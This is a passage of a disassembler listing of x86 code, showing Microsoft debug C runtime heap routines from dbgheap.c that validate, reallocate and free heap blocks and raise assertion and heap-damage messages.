		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_41C5E6
		mov	[ebp+var_14], 1

loc_41C5E6:				; CODE XREF: sub_41C3F0+1EDj
		cmp	[ebp+var_14], 0
		jz	short loc_41C62A

loc_41C5EC:				; CODE XREF: sub_41C3F0+236j
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+0Ch], 0FEDCBABCh
		jnz	short loc_41C601
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_41C622

loc_41C601:				; CODE XREF: sub_41C3F0+206j
		push	offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"...
		push	0
		push	278h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41C622
		int	3		; Trap to Debugger

loc_41C622:				; CODE XREF: sub_41C3F0+20Fj
					; sub_41C3F0+22Fj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41C5EC
		jmp	short loc_41C68E
; ---------------------------------------------------------------------------

loc_41C62A:				; CODE XREF: sub_41C3F0+1FAj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jnz	short loc_41C64F
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	ecx, 1
		jnz	short loc_41C64F
		mov	[ebp+arg_8], 2

loc_41C64F:				; CODE XREF: sub_41C3F0+248j
					; sub_41C3F0+256j ...
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jz	short loc_41C688
		push	offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
		push	0
		push	27Fh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41C688
		int	3		; Trap to Debugger

loc_41C688:				; CODE XREF: sub_41C3F0+275j
					; sub_41C3F0+295j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41C64F

loc_41C68E:				; CODE XREF: sub_41C3F0+238j
		cmp	[ebp+arg_14], 0
		jz	short loc_41C6B9
		mov	eax, [ebp+arg_4]
		add	eax, 24h
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_423830
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_41C6B7
		xor	eax, eax
		jmp	loc_41C8FA
; ---------------------------------------------------------------------------

loc_41C6B7:				; CODE XREF: sub_41C3F0+2BEj
		jmp	short loc_41C6DC
; ---------------------------------------------------------------------------

loc_41C6B9:				; CODE XREF: sub_41C3F0+2A2j
		mov	edx, [ebp+arg_4]
		add	edx, 24h
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_423620
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_41C6DC
		xor	eax, eax
		jmp	loc_41C8FA
; ---------------------------------------------------------------------------

loc_41C6DC:				; CODE XREF: sub_41C3F0:loc_41C6B7j
					; sub_41C3F0+2E3j
		mov	ecx, dword_4518A4
		add	ecx, 1
		mov	dword_4518A4, ecx
		cmp	[ebp+var_14], 0
		jnz	short loc_41C747
		mov	edx, [ebp+var_C]
		mov	eax, dword_4F33A4
		sub	eax, [edx+10h]
		mov	dword_4F33A4, eax
		mov	ecx, dword_4F33A4
		add	ecx, [ebp+arg_4]
		mov	dword_4F33A4, ecx
		mov	edx, [ebp+var_C]
		mov	eax, dword_4F33AC
		sub	eax, [edx+10h]
		mov	dword_4F33AC, eax
		mov	ecx, dword_4F33AC
		add	ecx, [ebp+arg_4]
		mov	dword_4F33AC, ecx
		mov	edx, dword_4F33AC
		cmp	edx, dword_4F33B0
		jbe	short loc_41C747
		mov	eax, dword_4F33AC
		mov	dword_4F33B0, eax

loc_41C747:				; CODE XREF: sub_41C3F0+2FFj
					; sub_41C3F0+34Bj
		mov	ecx, [ebp+var_C]
		add	ecx, 20h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		cmp	eax, [edx+10h]
		jbe	short loc_41C77F
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		sub	edx, [ecx+10h]
		push	edx
		xor	eax, eax
		mov	al, byte_4518AE
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+10h]
		push	edx
		call	sub_41E4B0
		add	esp, 0Ch

loc_41C77F:				; CODE XREF: sub_41C3F0+369j
		push	4
		xor	eax, eax
		mov	al, byte_4518AC
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41E4B0
		add	esp, 0Ch
		cmp	[ebp+var_14], 0
		jnz	short loc_41C7B9
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_10]
		mov	[ecx+0Ch], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		mov	[eax+18h], ecx

loc_41C7B9:				; CODE XREF: sub_41C3F0+3ACj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		mov	[edx+10h], eax

loc_41C7C2:				; CODE XREF: sub_41C3F0+40Bj
		cmp	[ebp+arg_14], 0
		jnz	short loc_41C7F7
		cmp	[ebp+arg_14], 0
		jnz	short loc_41C7D6
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_8]
		jz	short loc_41C7F7

loc_41C7D6:				; CODE XREF: sub_41C3F0+3DCj
		push	offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "...
		push	0
		push	2B5h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41C7F7
		int	3		; Trap to Debugger

loc_41C7F7:				; CODE XREF: sub_41C3F0+3D6j
					; sub_41C3F0+3E4j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41C7C2
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_8]
		jz	short loc_41C80B
		cmp	[ebp+var_14], 0
		jz	short loc_41C813

loc_41C80B:				; CODE XREF: sub_41C3F0+413j
		mov	eax, [ebp+var_4]
		jmp	loc_41C8FA
; ---------------------------------------------------------------------------

loc_41C813:				; CODE XREF: sub_41C3F0+419j
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx], 0
		jz	short loc_41C82B
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		jmp	short loc_41C867
; ---------------------------------------------------------------------------

loc_41C82B:				; CODE XREF: sub_41C3F0+429j
					; sub_41C3F0+46Aj
		mov	eax, dword_4F33A0
		cmp	eax, [ebp+var_8]
		jz	short loc_41C856
		push	offset a_plastblockPol ; "_pLastBlock == pOldBlock"
		push	0
		push	2C4h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41C856
		int	3		; Trap to Debugger

loc_41C856:				; CODE XREF: sub_41C3F0+443j
					; sub_41C3F0+463j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41C82B
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		mov	dword_4F33A0, eax

loc_41C867:				; CODE XREF: sub_41C3F0+439j
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_41C87F
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	[eax], edx
		jmp	short loc_41C8BA
; ---------------------------------------------------------------------------

loc_41C87F:				; CODE XREF: sub_41C3F0+47Ej
					; sub_41C3F0+4BEj
		mov	eax, dword_4F33A8
		cmp	eax, [ebp+var_8]
		jz	short loc_41C8AA
		push	offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock"
		push	0
		push	2CFh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41C8AA
		int	3		; Trap to Debugger

loc_41C8AA:				; CODE XREF: sub_41C3F0+497j
					; sub_41C3F0+4B7j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41C87F
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	dword_4F33A8, eax

loc_41C8BA:				; CODE XREF: sub_41C3F0+48Dj
		cmp	dword_4F33A8, 0
		jz	short loc_41C8D1
		mov	ecx, dword_4F33A8
		mov	edx, [ebp+var_C]
		mov	[ecx+4], edx
		jmp	short loc_41C8D9
; ---------------------------------------------------------------------------

loc_41C8D1:				; CODE XREF: sub_41C3F0+4D1j
		mov	eax, [ebp+var_C]
		mov	dword_4F33A0, eax

loc_41C8D9:				; CODE XREF: sub_41C3F0+4DFj
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4F33A8
		mov	[ecx], edx
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_C]
		mov	dword_4F33A8, ecx
		mov	eax, [ebp+var_4]

loc_41C8FA:				; CODE XREF: sub_41C3F0+2Ej
					; sub_41C3F0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41C3F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_41C940
		add	esp, 14h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C940	proc near		; CODE XREF: .packed:0041C922p

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

; FUNCTION CHUNK AT 0041C9AE SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43C7E0
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 0
		push	0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41C3F0
		add	esp, 18h
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41C9A3
		jmp	short loc_41C9AE
sub_41C940	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C9A3	proc near		; CODE XREF: sub_41C940+5Cp
					; DATA XREF: .packed:0043C7E8o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_41C9A3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C940

loc_41C9AE:				; CODE XREF: sub_41C940+61j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41C940
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9D0	proc near		; CODE XREF: sub_4010AA+5Cp
					; sub_40ADC9+B7p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41CA10
		add	esp, 8
		pop	ebp
		retn
sub_41C9D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41CA80
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA10	proc near		; CODE XREF: sub_41BD80+98p
					; sub_41C3F0+47p ...

var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041CA6D SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43C7F0
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41CA80
		add	esp, 8
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41CA62
		jmp	short loc_41CA6D
sub_41CA10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA62	proc near		; CODE XREF: sub_41CA10+4Bp
					; DATA XREF: .packed:0043C7F8o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_41CA62	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41CA10

loc_41CA6D:				; CODE XREF: sub_41CA10+50j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41CA10
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA80	proc near		; CODE XREF: .packed:0041C9F9p
					; sub_41CA10+3Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_4518A0
		and	eax, 4
		test	eax, eax
		jz	short loc_41CAC3

loc_41CA93:				; CODE XREF: sub_41CA80+41j
		call	sub_41D1D0
		test	eax, eax
		jnz	short loc_41CABD
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	402h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CABD
		int	3		; Trap to Debugger

loc_41CABD:				; CODE XREF: sub_41CA80+1Aj
					; sub_41CA80+3Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41CA93

loc_41CAC3:				; CODE XREF: sub_41CA80+11j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41CACE
		jmp	loc_41CE65
; ---------------------------------------------------------------------------

loc_41CACE:				; CODE XREF: sub_41CA80+47j
		push	0
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		push	3
		call	off_451C70
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41CB18

loc_41CAED:				; CODE XREF: sub_41CA80+91j
		push	offset aClientHookFree ; "Client hook free failure.\n"
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41CB0D
		int	3		; Trap to Debugger

loc_41CB0D:				; CODE XREF: sub_41CA80+8Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41CAED
		jmp	loc_41CE65
; ---------------------------------------------------------------------------

loc_41CB18:				; CODE XREF: sub_41CA80+6Bj
					; sub_41CA80+CDj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41D6B0
		add	esp, 4
		test	eax, eax
		jnz	short loc_41CB49
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	414h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CB49
		int	3		; Trap to Debugger

loc_41CB49:				; CODE XREF: sub_41CA80+A6j
					; sub_41CA80+C6j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41CB18
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+var_4], ecx

loc_41CB58:				; CODE XREF: sub_41CA80+12Fj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41CBAB
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41CBAB
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41CBAB
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41CBAB
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	41Ah
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CBAB
		int	3		; Trap to Debugger

loc_41CBAB:				; CODE XREF: sub_41CA80+E6j
					; sub_41CA80+EFj ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41CB58
		mov	eax, dword_4518A0
		and	eax, 4
		test	eax, eax
		jnz	loc_41CC86
		push	4
		mov	cl, byte_4518AC
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 1Ch
		push	edx
		call	sub_41D140
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CC20

loc_41CBDD:				; CODE XREF: sub_41CA80+19Ej
		mov	eax, [ebp+var_4]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_4518B0[ecx*4]
		push	edx
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0
		push	0
		push	0
		push	1
		call	sub_422610
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41CC1A
		int	3		; Trap to Debugger

loc_41CC1A:				; CODE XREF: sub_41CA80+197j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41CBDD

loc_41CC20:				; CODE XREF: sub_41CA80+15Bj
		push	4
		mov	cl, byte_4518AC
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	sub_41D140
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CC86

loc_41CC43:				; CODE XREF: sub_41CA80+204j
		mov	eax, [ebp+var_4]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_4518B0[ecx*4]
		push	edx
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0
		push	0
		push	0
		push	1
		call	sub_422610
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41CC80
		int	3		; Trap to Debugger

loc_41CC80:				; CODE XREF: sub_41CA80+1FDj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41CC43

loc_41CC86:				; CODE XREF: sub_41CA80+13Bj
					; sub_41CA80+1C1j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_41CCFB

loc_41CC8F:				; CODE XREF: sub_41CA80+249j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+0Ch], 0FEDCBABCh
		jnz	short loc_41CCA4
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_41CCC5

loc_41CCA4:				; CODE XREF: sub_41CA80+219j
		push	offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
		push	0
		push	42Fh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CCC5
		int	3		; Trap to Debugger

loc_41CCC5:				; CODE XREF: sub_41CA80+222j
					; sub_41CA80+242j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41CC8F
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax
		xor	ecx, ecx
		mov	cl, byte_4518AD
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41E4B0
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_423CD0
		add	esp, 4
		jmp	loc_41CE65
; ---------------------------------------------------------------------------

loc_41CCFB:				; CODE XREF: sub_41CA80+20Dj
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 2
		jnz	short loc_41CD11
		cmp	[ebp+arg_4], 1
		jnz	short loc_41CD11
		mov	[ebp+arg_4], 2

loc_41CD11:				; CODE XREF: sub_41CA80+282j
					; sub_41CA80+288j ...
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_41CD3D
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0
		push	43Ch
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CD3D
		int	3		; Trap to Debugger

loc_41CD3D:				; CODE XREF: sub_41CA80+29Aj
					; sub_41CA80+2BAj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41CD11
		mov	edx, [ebp+var_4]
		mov	eax, dword_4F33AC
		sub	eax, [edx+10h]
		mov	dword_4F33AC, eax
		mov	ecx, dword_4518A0
		and	ecx, 2
		test	ecx, ecx
		jnz	loc_41CE3C
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_41CD7C
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		jmp	short loc_41CDBA
; ---------------------------------------------------------------------------

loc_41CD7C:				; CODE XREF: sub_41CA80+2EAj
					; sub_41CA80+32Cj
		mov	ecx, dword_4F33A0
		cmp	ecx, [ebp+var_4]
		jz	short loc_41CDA8
		push	offset a_plastblockPhe ; "_pLastBlock == pHead"
		push	0
		push	44Bh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CDA8
		int	3		; Trap to Debugger

loc_41CDA8:				; CODE XREF: sub_41CA80+305j
					; sub_41CA80+325j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41CD7C
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	dword_4F33A0, ecx

loc_41CDBA:				; CODE XREF: sub_41CA80+2FAj
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+4], 0
		jz	short loc_41CDD2
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ecx], eax
		jmp	short loc_41CE0F
; ---------------------------------------------------------------------------

loc_41CDD2:				; CODE XREF: sub_41CA80+341j
					; sub_41CA80+382j
		mov	ecx, dword_4F33A8
		cmp	ecx, [ebp+var_4]
		jz	short loc_41CDFE
		push	offset a_pfirstblockPh ; "_pFirstBlock == pHead"
		push	0
		push	455h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CDFE
		int	3		; Trap to Debugger

loc_41CDFE:				; CODE XREF: sub_41CA80+35Bj
					; sub_41CA80+37Bj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41CDD2
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	dword_4F33A8, ecx

loc_41CE0F:				; CODE XREF: sub_41CA80+350j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax
		xor	ecx, ecx
		mov	cl, byte_4518AD
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41E4B0
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_423CD0
		add	esp, 4
		jmp	short loc_41CE65
; ---------------------------------------------------------------------------

loc_41CE3C:				; CODE XREF: sub_41CA80+2DEj
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		xor	ecx, ecx
		mov	cl, byte_4518AD
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 20h
		push	edx
		call	sub_41E4B0
		add	esp, 0Ch

loc_41CE65:				; CODE XREF: sub_41CA80+49j
					; sub_41CA80+93j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CA80	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41CE90
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE90	proc near		; CODE XREF: .packed:0041CE79p
					; sub_420C50+11p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041D00C SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43C928
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_4518A0
		and	eax, 4
		test	eax, eax
		jz	short loc_41CEEF

loc_41CEBF:				; CODE XREF: sub_41CE90+5Dj
		call	sub_41D1D0
		test	eax, eax
		jnz	short loc_41CEE9
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	49Dh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CEE9
		int	3		; Trap to Debugger

loc_41CEE9:				; CODE XREF: sub_41CE90+36j
					; sub_41CE90+56j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41CEBF

loc_41CEEF:				; CODE XREF: sub_41CE90+2Dj
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 0

loc_41CF00:				; CODE XREF: sub_41CE90+A5j
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41D6B0
		add	esp, 4
		test	eax, eax
		jnz	short loc_41CF31
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	4A9h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CF31
		int	3		; Trap to Debugger

loc_41CF31:				; CODE XREF: sub_41CE90+7Ej
					; sub_41CE90+9Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41CF00
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+var_20], ecx

loc_41CF40:				; CODE XREF: sub_41CE90+107j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41CF93
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41CF93
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41CF93
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41CF93
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	4AFh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CF93
		int	3		; Trap to Debugger

loc_41CF93:				; CODE XREF: sub_41CE90+BEj
					; sub_41CE90+C7j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41CF40
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax+14h], 2
		jnz	short loc_41CFAF
		cmp	[ebp+arg_4], 1
		jnz	short loc_41CFAF
		mov	[ebp+arg_4], 2

loc_41CFAF:				; CODE XREF: sub_41CE90+110j
					; sub_41CE90+116j
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41CFEA

loc_41CFB8:				; CODE XREF: sub_41CE90+158j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_41CFE4
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0
		push	4B6h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CFE4
